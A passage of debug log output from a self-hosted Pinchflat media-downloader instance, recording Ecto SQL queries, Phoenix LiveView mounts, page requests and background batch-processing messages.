= false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:40.772 [debug] QUERY OK source="media_items" db=0.8ms idle=295.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:40.772 [debug] Replied in 2ms 21:58:40.773 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "downloaded", "source_id" => 5} 21:58:40.774 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=296.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:40.774 [debug] QUERY OK source="media_items" db=0.4ms idle=296.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:40.775 [debug] QUERY OK source="media_items" db=0.5ms idle=4.5ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:40.775 [debug] Replied in 2ms 21:58:40.776 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "media_state" => "other", "source_id" => 5} 21:58:40.777 [debug] QUERY OK source="sources" db=0.3ms idle=5.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:40.778 [debug] QUERY OK source="media_items" db=0.4ms idle=5.1ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [5] 21:58:40.778 [debug] QUERY OK source="media_items" db=0.5ms queue=0.2ms idle=3.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:40.779 [debug] Replied in 2ms 21:58:40.780 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9"} 21:58:40.780 [debug] Replied in 54µs 21:58:40.790 [debug] Current batch of media processed. Will check again in 1000ms 21:58:40.834 [debug] Current batch of media processed. Will check again in 1000ms 21:58:41.791 [debug] Current batch of media processed. Will check again in 1000ms 21:58:41.835 [debug] Current batch of media processed. Will check again in 1000ms 21:58:42.792 [debug] Current batch of media processed. Will check again in 1000ms 21:58:42.836 [debug] Current batch of media processed. Will check again in 1000ms 21:58:42.987 [info] GET /sources 21:58:42.987 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 21:58:42.988 [debug] QUERY OK source="settings" db=0.3ms queue=0.3ms idle=740.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:42.989 [debug] QUERY OK source="settings" db=0.4ms idle=257.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:42.990 [debug] QUERY OK source="settings" db=0.4ms idle=257.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:42.991 [debug] QUERY OK source="settings" db=0.3ms queue=0.1ms idle=258.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:42.991 [debug] QUERY OK source="settings" db=0.4ms idle=259.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:42.993 [debug] QUERY OK source="sources" db=1.2ms idle=3.4ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:58:42.995 [debug] QUERY OK source="sources" db=1.9ms idle=4.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:58:42.997 [info] Sent 200 in 10ms 21:58:43.252 [info] CONNECTED TO Phoenix.LiveView.Socket in 22µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "T3c3AlwEHQsTLHo_R3dzHBIvO3AYdzh47DEvdvNiVa9V-E0uApu1n0tA", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.javi.fr/assets/app-ec454b024a27f3bffb6e1a52ff1601c2.css?vsn=d", "1" => "https://pinchflat.javi.fr/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 21:58:43.300 [debug] MOUNT PinchflatWeb.Sources.SourceLive.IndexTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9", "initial_sort_direction" => :asc, "initial_sort_key" => :custom_name, "results_per_page" => 10} 21:58:43.302 [debug] QUERY OK source="sources" db=1.7ms idle=309.8ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:58:43.304 [debug] QUERY OK source="sources" db=1.8ms idle=311.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) ORDER BY s0."custom_name" COLLATE NOCASE, s0."id" LIMIT ? OFFSET ? [10, 0] 21:58:43.305 [debug] Replied in 4ms 21:58:43.307 [debug] MOUNT Pinchflat.UpgradeButtonLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "x3rt8rSbEMCij2CiS_NAvGL9"} 21:58:43.307 [debug] Replied in 58µs 21:58:43.793 [debug] Current batch of media processed. Will check again in 1000ms 21:58:43.837 [debug] Current batch of media processed. Will check again in 1000ms 21:58:44.794 [debug] Current batch of media processed. Will check again in 1000ms 21:58:44.838 [debug] Current batch of media processed. Will check again in 1000ms 21:58:45.795 [debug] Current batch of media processed. Will check again in 1000ms 21:58:45.839 [debug] Current batch of media processed. Will check again in 1000ms 21:58:46.796 [debug] Current batch of media processed. Will check again in 1000ms 21:58:46.840 [debug] Current batch of media processed. Will check again in 1000ms 21:58:47.797 [debug] Current batch of media processed. Will check again in 1000ms 21:58:47.841 [debug] Current batch of media processed. Will check again in 1000ms 21:58:47.861 [info] GET /sources/5/ 21:58:47.861 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "5"} Pipelines: [:browser] 21:58:47.862 [debug] QUERY OK source="sources" db=0.8ms idle=1130.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:47.863 [debug] QUERY OK source="media_profiles" db=0.5ms idle=1131.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 21:58:47.864 [debug] QUERY OK source="tasks" db=0.5ms idle=1131.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at" FROM "tasks" AS t0 INNER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (t0."source_id" = ?) AND (o1."state" IN (?,?,?,?)) [5, "executing", "available", "scheduled", "retryable"] 21:58:47.864 [debug] QUERY OK source="oban_jobs" db=0.4ms idle=1132.6ms SELECT o0."id", o0."state", o0."queue", o0."worker", o0."args", o0."meta", o0."tags", o0."errors", o0."attempt", o0."attempted_by", o0."max_attempts", o0."priority", o0."attempted_at", o0."cancelled_at", o0."completed_at", o0."discarded_at", o0."inserted_at", o0."scheduled_at", o0."id" FROM "oban_jobs" AS o0 WHERE (o0."id" = ?) [862] 21:58:47.865 [debug] QUERY OK source="settings" db=0.4ms queue=0.1ms idle=608.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:47.866 [debug] QUERY OK source="settings" db=0.4ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:47.867 [debug] QUERY OK source="settings" db=0.5ms idle=3.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:58:47.872 [debug] QUERY OK source="sources" db=0.3ms idle=7.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:47.873 [debug] QUERY OK source="media_items" db=0.6ms idle=7.4ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [5] 21:58:47.874 [debug] QUERY OK source="media_items" db=0.8ms idle=7.6ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:47.875 [debug] QUERY OK source="sources" db=0.5ms idle=8.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 21:58:47.875 [debug] QUERY OK source="media_items" db=0.4ms idle=8.1ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [5] 21:58:47.876 [debug] QUERY OK source="media_items" db=0.4ms idle=3.7ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [5, 10, 0] 21:58:47.877 [debug] QUERY OK source="sources" db=0.3ms queue=0.1ms idle=3.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", 